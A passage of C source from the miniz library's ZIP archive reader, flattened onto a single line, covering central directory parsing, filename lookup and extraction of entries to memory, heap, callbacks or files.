another heap block to hold the unsorted central dir file record offsets, and another to hold the sorted indices. if ((!mz_zip_array_resize(pZip, &pZip->m_pState->m_central_dir, cdir_size, MZ_FALSE)) || (!mz_zip_array_resize(pZip, &pZip->m_pState->m_central_dir_offsets, pZip->m_total_files, MZ_FALSE))) return MZ_FALSE; if (sort_central_dir) { if (!mz_zip_array_resize(pZip, &pZip->m_pState->m_sorted_central_dir_offsets, pZip->m_total_files, MZ_FALSE)) return MZ_FALSE; } if (pZip->m_pRead(pZip->m_pIO_opaque, cdir_ofs, pZip->m_pState->m_central_dir.m_p, cdir_size) != cdir_size) return MZ_FALSE; // Now create an index into the central directory file records, do some basic sanity checking on each record, and check for zip64 entries (which are not yet supported). p = (const mz_uint8 *)pZip->m_pState->m_central_dir.m_p; for (n = cdir_size, i = 0; i < pZip->m_total_files; ++i) { mz_uint total_header_size, comp_size, decomp_size, disk_index; if ((n < MZ_ZIP_CENTRAL_DIR_HEADER_SIZE) || (MZ_READ_LE32(p) != MZ_ZIP_CENTRAL_DIR_HEADER_SIG)) return MZ_FALSE; MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32, i) = (mz_uint32)(p - (const mz_uint8 *)pZip->m_pState->m_central_dir.m_p); if (sort_central_dir) MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_sorted_central_dir_offsets, mz_uint32, i) = i; comp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS); decomp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS); if (((!MZ_READ_LE32(p + MZ_ZIP_CDH_METHOD_OFS)) && (decomp_size != comp_size)) || (decomp_size && !comp_size) || (decomp_size == 0xFFFFFFFF) || (comp_size == 0xFFFFFFFF)) return MZ_FALSE; disk_index = MZ_READ_LE16(p + MZ_ZIP_CDH_DISK_START_OFS); if ((disk_index != num_this_disk) && (disk_index != 1)) return MZ_FALSE; if (((mz_uint64)MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS) + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + comp_size) > pZip->m_archive_size) return MZ_FALSE; if ((total_header_size = MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS) + MZ_READ_LE16(p + MZ_ZIP_CDH_EXTRA_LEN_OFS) + MZ_READ_LE16(p + MZ_ZIP_CDH_COMMENT_LEN_OFS)) > n) return MZ_FALSE; n -= total_header_size; p += total_header_size; } } if (sort_central_dir) mz_zip_reader_sort_central_dir_offsets_by_filename(pZip); return MZ_TRUE; } mz_bool mz_zip_reader_init(mz_zip_archive *pZip, mz_uint64 size, mz_uint32 flags) { if ((!pZip) || (!pZip->m_pRead)) return MZ_FALSE; if (!mz_zip_reader_init_internal(pZip, flags)) return MZ_FALSE; pZip->m_archive_size = size; if (!mz_zip_reader_read_central_dir(pZip, flags)) { mz_zip_reader_end(pZip); return MZ_FALSE; } return MZ_TRUE; } static size_t mz_zip_mem_read_func(void *pOpaque, mz_uint64 file_ofs, void *pBuf, size_t n) { mz_zip_archive *pZip = (mz_zip_archive *)pOpaque; size_t s = (file_ofs >= pZip->m_archive_size) ? 0 : (size_t)MZ_MIN(pZip->m_archive_size - file_ofs, n); memcpy(pBuf, (const mz_uint8 *)pZip->m_pState->m_pMem + file_ofs, s); return s; } mz_bool mz_zip_reader_init_mem(mz_zip_archive *pZip, const void *pMem, size_t size, mz_uint32 flags) { if (!mz_zip_reader_init_internal(pZip, flags)) return MZ_FALSE; pZip->m_archive_size = size; pZip->m_pRead = mz_zip_mem_read_func; pZip->m_pIO_opaque = pZip; #ifdef __cplusplus pZip->m_pState->m_pMem = const_cast<void *>(pMem); #else pZip->m_pState->m_pMem = (void *)pMem; #endif pZip->m_pState->m_mem_size = size; if (!mz_zip_reader_read_central_dir(pZip, flags)) { mz_zip_reader_end(pZip); return MZ_FALSE; } return MZ_TRUE; } #ifndef MINIZ_NO_STDIO static size_t mz_zip_file_read_func(void *pOpaque, mz_uint64 file_ofs, void *pBuf, size_t n) { mz_zip_archive *pZip = (mz_zip_archive *)pOpaque; mz_int64 cur_ofs = MZ_FTELL64(pZip->m_pState->m_pFile); if (((mz_int64)file_ofs < 0) || (((cur_ofs != (mz_int64)file_ofs)) && (MZ_FSEEK64(pZip->m_pState->m_pFile, (mz_int64)file_ofs, SEEK_SET)))) return 0; return MZ_FREAD(pBuf, 1, n, pZip->m_pState->m_pFile); } mz_bool mz_zip_reader_init_file(mz_zip_archive *pZip, const char *pFilename, mz_uint32 flags) { mz_uint64 file_size; MZ_FILE *pFile = MZ_FOPEN(pFilename, "rb"); if (!pFile) return MZ_FALSE; if (MZ_FSEEK64(pFile, 0, SEEK_END)) { MZ_FCLOSE(pFile); return MZ_FALSE; } file_size = MZ_FTELL64(pFile); if (!mz_zip_reader_init_internal(pZip, flags)) { MZ_FCLOSE(pFile); return MZ_FALSE; } pZip->m_pRead = mz_zip_file_read_func; pZip->m_pIO_opaque = pZip; pZip->m_pState->m_pFile = pFile; pZip->m_archive_size = file_size; if (!mz_zip_reader_read_central_dir(pZip, flags)) { mz_zip_reader_end(pZip); return MZ_FALSE; } return MZ_TRUE; } #endif // #ifndef MINIZ_NO_STDIO mz_uint mz_zip_reader_get_num_files(mz_zip_archive *pZip) { return pZip ? pZip->m_total_files : 0; } static MZ_FORCEINLINE const mz_uint8 *mz_zip_reader_get_cdh(mz_zip_archive *pZip, mz_uint file_index) { if ((!pZip) || (!pZip->m_pState) || (file_index >= pZip->m_total_files) || (pZip->m_zip_mode != MZ_ZIP_MODE_READING)) return NULL; return &MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32, file_index)); } mz_bool mz_zip_reader_is_file_encrypted(mz_zip_archive *pZip, mz_uint file_index) { mz_uint m_bit_flag; const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); if (!p) return MZ_FALSE; m_bit_flag = MZ_READ_LE16(p + MZ_ZIP_CDH_BIT_FLAG_OFS); return (m_bit_flag & 1); } mz_bool mz_zip_reader_is_file_a_directory(mz_zip_archive *pZip, mz_uint file_index) { mz_uint filename_len, external_attr; const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); if (!p) return MZ_FALSE; // First see if the filename ends with a '/' character. filename_len = MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS); if (filename_len) { if (*(p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + filename_len - 1) == '/') return MZ_TRUE; } // Bugfix: This code was also checking if the internal attribute was non-zero, which wasn't correct. // Most/all zip writers (hopefully) set DOS file/directory attributes in the low 16-bits, so check for the DOS directory flag and ignore the source OS ID in the created by field. // FIXME: Remove this check? Is it necessary - we already check the filename. external_attr = MZ_READ_LE32(p + MZ_ZIP_CDH_EXTERNAL_ATTR_OFS); if ((external_attr & 0x10) != 0) return MZ_TRUE; return MZ_FALSE; } mz_bool mz_zip_reader_file_stat(mz_zip_archive *pZip, mz_uint file_index, mz_zip_archive_file_stat *pStat) { mz_uint n; const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); if ((!p) || (!pStat)) return MZ_FALSE; // Unpack the central directory record. pStat->m_file_index = file_index; pStat->m_central_dir_ofs = MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32, file_index); pStat->m_version_made_by = MZ_READ_LE16(p + MZ_ZIP_CDH_VERSION_MADE_BY_OFS); pStat->m_version_needed = MZ_READ_LE16(p + MZ_ZIP_CDH_VERSION_NEEDED_OFS); pStat->m_bit_flag = MZ_READ_LE16(p + MZ_ZIP_CDH_BIT_FLAG_OFS); pStat->m_method = MZ_READ_LE16(p + MZ_ZIP_CDH_METHOD_OFS); #ifndef MINIZ_NO_TIME pStat->m_time = mz_zip_dos_to_time_t(MZ_READ_LE16(p + MZ_ZIP_CDH_FILE_TIME_OFS), MZ_READ_LE16(p + MZ_ZIP_CDH_FILE_DATE_OFS)); #endif pStat->m_crc32 = MZ_READ_LE32(p + MZ_ZIP_CDH_CRC32_OFS); pStat->m_comp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS); pStat->m_uncomp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS); pStat->m_internal_attr = MZ_READ_LE16(p + MZ_ZIP_CDH_INTERNAL_ATTR_OFS); pStat->m_external_attr = MZ_READ_LE32(p + MZ_ZIP_CDH_EXTERNAL_ATTR_OFS); pStat->m_local_header_ofs = MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS); // Copy as much of the filename and comment as possible. n = MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS); n = MZ_MIN(n, MZ_ZIP_MAX_ARCHIVE_FILENAME_SIZE - 1); memcpy(pStat->m_filename, p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE, n); pStat->m_filename[n] = '\0'; n = MZ_READ_LE16(p + MZ_ZIP_CDH_COMMENT_LEN_OFS); n = MZ_MIN(n, MZ_ZIP_MAX_ARCHIVE_FILE_COMMENT_SIZE - 1); pStat->m_comment_size = n; memcpy(pStat->m_comment, p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS) + MZ_READ_LE16(p + MZ_ZIP_CDH_EXTRA_LEN_OFS), n); pStat->m_comment[n] = '\0'; return MZ_TRUE; } mz_uint mz_zip_reader_get_filename(mz_zip_archive *pZip, mz_uint file_index, char *pFilename, mz_uint filename_buf_size) { mz_uint n; const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); if (!p) { if (filename_buf_size) pFilename[0] = '\0'; return 0; } n = MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS); if (filename_buf_size) { n = MZ_MIN(n, filename_buf_size - 1); memcpy(pFilename, p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE, n); pFilename[n] = '\0'; } return n + 1; } static MZ_FORCEINLINE mz_bool mz_zip_reader_string_equal(const char *pA, const char *pB, mz_uint len, mz_uint flags) { mz_uint i; if (flags & MZ_ZIP_FLAG_CASE_SENSITIVE) return 0 == memcmp(pA, pB, len); for (i = 0; i < len; ++i) if (MZ_TOLOWER(pA[i]) != MZ_TOLOWER(pB[i])) return MZ_FALSE; return MZ_TRUE; } static MZ_FORCEINLINE int mz_zip_reader_filename_compare(const mz_zip_array *pCentral_dir_array, const mz_zip_array *pCentral_dir_offsets, mz_uint l_index, const char *pR, mz_uint r_len) { const mz_uint8 *pL = &MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_array, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_offsets, mz_uint32, l_index)), *pE; mz_uint l_len = MZ_READ_LE16(pL + MZ_ZIP_CDH_FILENAME_LEN_OFS); mz_uint8 l = 0, r = 0; pL += MZ_ZIP_CENTRAL_DIR_HEADER_SIZE; pE = pL + MZ_MIN(l_len, r_len); while (pL < pE) { if ((l = MZ_TOLOWER(*pL)) != (r = MZ_TOLOWER(*pR))) break; pL++; pR++; } return (pL == pE) ? (int)(l_len - r_len) : (l - r); } static int mz_zip_reader_locate_file_binary_search(mz_zip_archive *pZip, const char *pFilename) { mz_zip_internal_state *pState = pZip->m_pState; const mz_zip_array *pCentral_dir_offsets = &pState->m_central_dir_offsets; const mz_zip_array *pCentral_dir = &pState->m_central_dir; mz_uint32 *pIndices = &MZ_ZIP_ARRAY_ELEMENT(&pState->m_sorted_central_dir_offsets, mz_uint32, 0); const int size = pZip->m_total_files; const mz_uint filename_len = (mz_uint)strlen(pFilename); int l = 0, h = size - 1; while (l <= h) { int m = (l + h) >> 1, file_index = pIndices[m], comp = mz_zip_reader_filename_compare(pCentral_dir, pCentral_dir_offsets, file_index, pFilename, filename_len); if (!comp) return file_index; else if (comp < 0) l = m + 1; else h = m - 1; } return -1; } int mz_zip_reader_locate_file(mz_zip_archive *pZip, const char *pName, const char *pComment, mz_uint flags) { mz_uint file_index; size_t name_len, comment_len; if ((!pZip) || (!pZip->m_pState) || (!pName) || (pZip->m_zip_mode != MZ_ZIP_MODE_READING)) return -1; if (((flags & (MZ_ZIP_FLAG_IGNORE_PATH | MZ_ZIP_FLAG_CASE_SENSITIVE)) == 0) && (!pComment) && (pZip->m_pState->m_sorted_central_dir_offsets.m_size)) return mz_zip_reader_locate_file_binary_search(pZip, pName); name_len = strlen(pName); if (name_len > 0xFFFF) return -1; comment_len = pComment ? strlen(pComment) : 0; if (comment_len > 0xFFFF) return -1; for (file_index = 0; file_index < pZip->m_total_files; file_index++) { const mz_uint8 *pHeader = &MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32, file_index)); mz_uint filename_len = MZ_READ_LE16(pHeader + MZ_ZIP_CDH_FILENAME_LEN_OFS); const char *pFilename = (const char *)pHeader + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE; if (filename_len < name_len) continue; if (comment_len) { mz_uint file_extra_len = MZ_READ_LE16(pHeader + MZ_ZIP_CDH_EXTRA_LEN_OFS), file_comment_len = MZ_READ_LE16(pHeader + MZ_ZIP_CDH_COMMENT_LEN_OFS); const char *pFile_comment = pFilename + filename_len + file_extra_len; if ((file_comment_len != comment_len) || (!mz_zip_reader_string_equal(pComment, pFile_comment, file_comment_len, flags))) continue; } if ((flags & MZ_ZIP_FLAG_IGNORE_PATH) && (filename_len)) { int ofs = filename_len - 1; do { if ((pFilename[ofs] == '/') || (pFilename[ofs] == '\\') || (pFilename[ofs] == ':')) break; } while (--ofs >= 0); ofs++; pFilename += ofs; filename_len -= ofs; } if ((filename_len == name_len) && (mz_zip_reader_string_equal(pName, pFilename, filename_len, flags))) return file_index; } return -1; } mz_bool mz_zip_reader_extract_to_mem_no_alloc(mz_zip_archive *pZip, mz_uint file_index, void *pBuf, size_t buf_size, mz_uint flags, void *pUser_read_buf, size_t user_read_buf_size) { int status = TINFL_STATUS_DONE; mz_uint64 needed_size, cur_file_ofs, comp_remaining, out_buf_ofs = 0, read_buf_size, read_buf_ofs = 0, read_buf_avail; mz_zip_archive_file_stat file_stat; void *pRead_buf; mz_uint32 local_header_u32[(MZ_ZIP_LOCAL_DIR_HEADER_SIZE + sizeof(mz_uint32) - 1) / sizeof(mz_uint32)]; mz_uint8 *pLocal_header = (mz_uint8 *)local_header_u32; tinfl_decompressor inflator; if ((buf_size) && (!pBuf)) return MZ_FALSE; if (!mz_zip_reader_file_stat(pZip, file_index, &file_stat)) return MZ_FALSE; // Empty file, or a directory (but not always a directory - I've seen odd zips with directories that have compressed data which inflates to 0 bytes) if (!file_stat.m_comp_size) return MZ_TRUE; // Entry is a subdirectory (I've seen old zips with dir entries which have compressed deflate data which inflates to 0 bytes, but these entries claim to uncompress to 512 bytes in the headers). // I'm torn how to handle this case - should it fail instead? if (mz_zip_reader_is_file_a_directory(pZip, file_index)) return MZ_TRUE; // Encryption and patch files are not supported. if (file_stat.m_bit_flag & (1 | 32)) return MZ_FALSE; // This function only supports stored and deflate. if ((!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) && (file_stat.m_method != 0) && (file_stat.m_method != MZ_DEFLATED)) return MZ_FALSE; // Ensure supplied output buffer is large enough. needed_size = (flags & MZ_ZIP_FLAG_COMPRESSED_DATA) ? file_stat.m_comp_size : file_stat.m_uncomp_size; if (buf_size < needed_size) return MZ_FALSE; // Read and parse the local directory entry. cur_file_ofs = file_stat.m_local_header_ofs; if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pLocal_header, MZ_ZIP_LOCAL_DIR_HEADER_SIZE) != MZ_ZIP_LOCAL_DIR_HEADER_SIZE) return MZ_FALSE; if (MZ_READ_LE32(pLocal_header) != MZ_ZIP_LOCAL_DIR_HEADER_SIG) return MZ_FALSE; cur_file_ofs += MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_FILENAME_LEN_OFS) + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_EXTRA_LEN_OFS); if ((cur_file_ofs + file_stat.m_comp_size) > pZip->m_archive_size) return MZ_FALSE; if ((flags & MZ_ZIP_FLAG_COMPRESSED_DATA) || (!file_stat.m_method)) { // The file is stored or the caller has requested the compressed data. if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf, (size_t)needed_size) != needed_size) return MZ_FALSE; return ((flags & MZ_ZIP_FLAG_COMPRESSED_DATA) != 0) || (mz_crc32(MZ_CRC32_INIT, (const mz_uint8 *)pBuf, (size_t)file_stat.m_uncomp_size) == file_stat.m_crc32); } // Decompress the file either directly from memory or from a file input buffer. tinfl_init(&inflator); if (pZip->m_pState->m_pMem) { // Read directly from the archive in memory. pRead_buf = (mz_uint8 *)pZip->m_pState->m_pMem + cur_file_ofs; read_buf_size = read_buf_avail = file_stat.m_comp_size; comp_remaining = 0; } else if (pUser_read_buf) { // Use a user provided read buffer. if (!user_read_buf_size) return MZ_FALSE; pRead_buf = (mz_uint8 *)pUser_read_buf; read_buf_size = user_read_buf_size; read_buf_avail = 0; comp_remaining = file_stat.m_comp_size; } else { // Temporarily allocate a read buffer. read_buf_size = MZ_MIN(file_stat.m_comp_size, MZ_ZIP_MAX_IO_BUF_SIZE); #ifdef _MSC_VER if (((0, sizeof(size_t) == sizeof(mz_uint32))) && (read_buf_size > 0x7FFFFFFF)) #else if (((sizeof(size_t) == sizeof(mz_uint32))) && (read_buf_size > 0x7FFFFFFF)) #endif return MZ_FALSE; if (NULL == (pRead_buf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, (size_t)read_buf_size))) return MZ_FALSE; read_buf_avail = 0; comp_remaining = file_stat.m_comp_size; } do { size_t in_buf_size, out_buf_size = (size_t)(file_stat.m_uncomp_size - out_buf_ofs); if ((!read_buf_avail) && (!pZip->m_pState->m_pMem)) { read_buf_avail = MZ_MIN(read_buf_size, comp_remaining); if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pRead_buf, (size_t)read_buf_avail) != read_buf_avail) { status = TINFL_STATUS_FAILED; break; } cur_file_ofs += read_buf_avail; comp_remaining -= read_buf_avail; read_buf_ofs = 0; } in_buf_size = (size_t)read_buf_avail; status = tinfl_decompress(&inflator, (mz_uint8 *)pRead_buf + read_buf_ofs, &in_buf_size, (mz_uint8 *)pBuf, (mz_uint8 *)pBuf + out_buf_ofs, &out_buf_size, TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF | (comp_remaining ? TINFL_FLAG_HAS_MORE_INPUT : 0)); read_buf_avail -= in_buf_size; read_buf_ofs += in_buf_size; out_buf_ofs += out_buf_size; } while (status == TINFL_STATUS_NEEDS_MORE_INPUT); if (status == TINFL_STATUS_DONE) { // Make sure the entire file was decompressed, and check its CRC. if ((out_buf_ofs != file_stat.m_uncomp_size) || (mz_crc32(MZ_CRC32_INIT, (const mz_uint8 *)pBuf, (size_t)file_stat.m_uncomp_size) != file_stat.m_crc32)) status = TINFL_STATUS_FAILED; } if ((!pZip->m_pState->m_pMem) && (!pUser_read_buf)) pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); return status == TINFL_STATUS_DONE; } mz_bool mz_zip_reader_extract_file_to_mem_no_alloc(mz_zip_archive *pZip, const char *pFilename, void *pBuf, size_t buf_size, mz_uint flags, void *pUser_read_buf, size_t user_read_buf_size) { int file_index = mz_zip_reader_locate_file(pZip, pFilename, NULL, flags); if (file_index < 0) return MZ_FALSE; return mz_zip_reader_extract_to_mem_no_alloc(pZip, file_index, pBuf, buf_size, flags, pUser_read_buf, user_read_buf_size); } mz_bool mz_zip_reader_extract_to_mem(mz_zip_archive *pZip, mz_uint file_index, void *pBuf, size_t buf_size, mz_uint flags) { return mz_zip_reader_extract_to_mem_no_alloc(pZip, file_index, pBuf, buf_size, flags, NULL, 0); } mz_bool mz_zip_reader_extract_file_to_mem(mz_zip_archive *pZip, const char *pFilename, void *pBuf, size_t buf_size, mz_uint flags) { return mz_zip_reader_extract_file_to_mem_no_alloc(pZip, pFilename, pBuf, buf_size, flags, NULL, 0); } void *mz_zip_reader_extract_to_heap(mz_zip_archive *pZip, mz_uint file_index, size_t *pSize, mz_uint flags) { mz_uint64 comp_size, uncomp_size, alloc_size; const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); void *pBuf; if (pSize) *pSize = 0; if (!p) return NULL; comp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS); uncomp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS); alloc_size = (flags & MZ_ZIP_FLAG_COMPRESSED_DATA) ? comp_size : uncomp_size; #ifdef _MSC_VER if (((0, sizeof(size_t) == sizeof(mz_uint32))) && (alloc_size > 0x7FFFFFFF)) #else if (((sizeof(size_t) == sizeof(mz_uint32))) && (alloc_size > 0x7FFFFFFF)) #endif return NULL; if (NULL == (pBuf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, (size_t)alloc_size))) return NULL; if (!mz_zip_reader_extract_to_mem(pZip, file_index, pBuf, (size_t)alloc_size, flags)) { pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); return NULL; } if (pSize) *pSize = (size_t)alloc_size; return pBuf; } void *mz_zip_reader_extract_file_to_heap(mz_zip_archive *pZip, const char *pFilename, size_t *pSize, mz_uint flags) { int file_index = mz_zip_reader_locate_file(pZip, pFilename, NULL, flags); if (file_index < 0) { if (pSize) *pSize = 0; return MZ_FALSE; } return mz_zip_reader_extract_to_heap(pZip, file_index, pSize, flags); } mz_bool mz_zip_reader_extract_to_callback(mz_zip_archive *pZip, mz_uint file_index, mz_file_write_func pCallback, void *pOpaque, mz_uint flags) { int status = TINFL_STATUS_DONE; mz_uint file_crc32 = MZ_CRC32_INIT; mz_uint64 read_buf_size, read_buf_ofs = 0, read_buf_avail, comp_remaining, out_buf_ofs = 0, cur_file_ofs; mz_zip_archive_file_stat file_stat; void *pRead_buf = NULL; void *pWrite_buf = NULL; mz_uint32 local_header_u32[(MZ_ZIP_LOCAL_DIR_HEADER_SIZE + sizeof(mz_uint32) - 1) / sizeof(mz_uint32)]; mz_uint8 *pLocal_header = (mz_uint8 *)local_header_u32; if (!mz_zip_reader_file_stat(pZip, file_index, &file_stat)) return MZ_FALSE; // Empty file, or a directory (but not always a directory - I've seen odd zips with directories that have compressed data which inflates to 0 bytes) if (!file_stat.m_comp_size) return MZ_TRUE; // Entry is a subdirectory (I've seen old zips with dir entries which have compressed deflate data which inflates to 0 bytes, but these entries claim to uncompress to 512 bytes in the headers). // I'm torn how to handle this case - should it fail instead? if (mz_zip_reader_is_file_a_directory(pZip, file_index)) return MZ_TRUE; // Encryption and patch files are not supported. if (file_stat.m_bit_flag & (1 | 32)) return MZ_FALSE; // This function only supports stored and deflate. if ((!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) && (file_stat.m_method != 0) && (file_stat.m_method != MZ_DEFLATED)) return MZ_FALSE; // Read and parse the local directory entry. cur_file_ofs = file_stat.m_local_header_ofs; if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pLocal_header, MZ_ZIP_LOCAL_DIR_HEADER_SIZE) != MZ_ZIP_LOCAL_DIR_HEADER_SIZE) return MZ_FALSE; if (MZ_READ_LE32(pLocal_header) != MZ_ZIP_LOCAL_DIR_HEADER_SIG) return MZ_FALSE; cur_file_ofs += MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_FILENAME_LEN_OFS) + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_EXTRA_LEN_OFS); if ((cur_file_ofs + file_stat.m_comp_size) > pZip->m_archive_size) return MZ_FALSE; // Decompress the file either directly from memory or from a file input buffer. if (pZip->m_pState->m_pMem) { pRead_buf = (mz_uint8 *)pZip->m_pState->m_pMem + cur_file_ofs; read_buf_size = read_buf_avail = file_stat.m_comp_size; comp_remaining = 0; } else { read_buf_size = MZ_MIN(file_stat.m_comp_size, MZ_ZIP_MAX_IO_BUF_SIZE); if (NULL == (pRead_buf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, (size_t)read_buf_size))) return MZ_FALSE; read_buf_avail = 0; comp_remaining = file_stat.m_comp_size; } if ((flags & MZ_ZIP_FLAG_COMPRESSED_DATA) || (!file_stat.m_method)) { // The file is stored or the caller has requested the compressed data. if (pZip->m_pState->m_pMem) { #ifdef _MSC_VER if (((0, sizeof(size_t) == sizeof(mz_uint32))) && (file_stat.m_comp_size > 0xFFFFFFFF)) #else if (((sizeof(size_t) == sizeof(mz_uint32))) && (file_stat.m_comp_size > 0xFFFFFFFF)) #endif return MZ_FALSE; if (pCallback(pOpaque, out_buf_ofs, pRead_buf, (size_t)file_stat.m_comp_size) != file_stat.m_comp_size) status = TINFL_STATUS_FAILED; else if (!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) file_crc32 = (mz_uint32)mz_crc32(file_crc32, (const mz_uint8 *)pRead_buf, (size_t)file_stat.m_comp_size); cur_file_ofs += file_stat.m_comp_size; out_buf_ofs += file_stat.m_comp_size; comp_remaining = 0; } else { while (comp_remaining) { read_buf_avail = MZ_MIN(read_buf_size, comp_remaining); if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pRead_buf, (size_t)read_buf_avail) != read_buf_avail) { status = TINFL_STATUS_FAILED; break; } if (!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) file_crc32 = (mz_uint32)mz_crc32(file_crc32, (const mz_uint8 *)pRead_buf, (size_t)read_buf_avail); if (pCallback(pOpaque, out_buf_ofs, pRead_buf, (size_t)read_buf_avail) != read_buf_avail) { status = TINFL_STATUS_FAILED; break; } cur_file_ofs += read_buf_avail; out_buf_ofs += read_buf_avail; comp_remaining -= read_buf_avail; } } } else { tinfl_decompressor inflator; tinfl_init(&inflator); if (NULL == (pWrite_buf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, TINFL_LZ_DICT_SIZE))) status = TINFL_STATUS_FAILED; else { do { mz_uint8 *pWrite_buf_cur = (mz_uint8 *)pWrite_buf + (out_buf_ofs & (TINFL_LZ_DICT_SIZE - 1)); size_t in_buf_size, out_buf_size = TINFL_LZ_DICT_SIZE - (out_buf_ofs & (TINFL_LZ_DICT_SIZE - 1)); if ((!read_buf_avail) && (!pZip->m_pState->m_pMem)) { read_buf_avail = MZ_MIN(read_buf_size, comp_remaining); if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pRead_buf, (size_t)read_buf_avail) != read_buf_avail) { status = TINFL_STATUS_FAILED; break; } cur_file_ofs += read_buf_avail; comp_remaining -= read_buf_avail; read_buf_ofs = 0; } in_buf_size = (size_t)read_buf_avail; status = tinfl_decompress(&inflator, (const mz_uint8 *)pRead_buf + read_buf_ofs, &in_buf_size, (mz_uint8 *)pWrite_buf, pWrite_buf_cur, &out_buf_size, comp_remaining ? TINFL_FLAG_HAS_MORE_INPUT : 0); read_buf_avail -= in_buf_size; read_buf_ofs += in_buf_size; if (out_buf_size) { if (pCallback(pOpaque, out_buf_ofs, pWrite_buf_cur, out_buf_size) != out_buf_size) { status = TINFL_STATUS_FAILED; break; } file_crc32 = (mz_uint32)mz_crc32(file_crc32, pWrite_buf_cur, out_buf_size); if ((out_buf_ofs += out_buf_size) > file_stat.m_uncomp_size) { status = TINFL_STATUS_FAILED; break; } } } while ((status == TINFL_STATUS_NEEDS_MORE_INPUT) || (status == TINFL_STATUS_HAS_MORE_OUTPUT)); } } if ((status == TINFL_STATUS_DONE) && (!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA))) { // Make sure the entire file was decompressed, and check its CRC. if ((out_buf_ofs != file_stat.m_uncomp_size) || (file_crc32 != file_stat.m_crc32)) status = TINFL_STATUS_FAILED; } if (!pZip->m_pState->m_pMem) pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); if (pWrite_buf) pZip->m_pFree(pZip->m_pAlloc_opaque, pWrite_buf); return status == TINFL_STATUS_DONE; } mz_bool mz_zip_reader_extract_file_to_callback(mz_zip_archive *pZip, const char *pFilename, mz_file_write_func pCallback, void *pOpaque, mz_uint flags) { int file_index = mz_zip_reader_locate_file(pZip, pFilename, NULL, flags); if (file_index < 0) return MZ_FALSE; return mz_zip_reader_extract_to_callback(pZip, file_index, pCallback, pOpaque, flags); } #ifndef MINIZ_NO_STDIO static size_t mz_zip_file_write_callback(void *pOpaque, mz_uint64 ofs, const void *pBuf, size_t n) { (void)ofs; return MZ_FWRITE(pBuf, 1, n, (MZ_FILE*)pOpaque); } mz_bool mz_zip_reader_extract_to_file(mz_zip_archive *pZip, mz_uint file_index, const char *pDst_filename, mz_uint flags) { mz_bool status; mz_zip_archive_file_stat file_stat; MZ_FILE *pFile; if (!mz_zip_reader_file_stat(pZip, file_index, &file_stat)) return MZ_FALSE; pFile = MZ_FOPEN(pDst_filename, "wb"); if (!pFile) return MZ_FALSE; status = mz_zip_reader_extract_to_callback(pZip, file_index, mz_zip_file_write_callback, pFile, flags); if (MZ_FCLOSE(pFile) == EOF) return MZ_FALSE; #ifndef MINIZ_NO_TIME if (status) mz_zip_set_file_times(pDst_filename, file_stat.m_time, file_stat.m_time); #endif return status; } #endif // 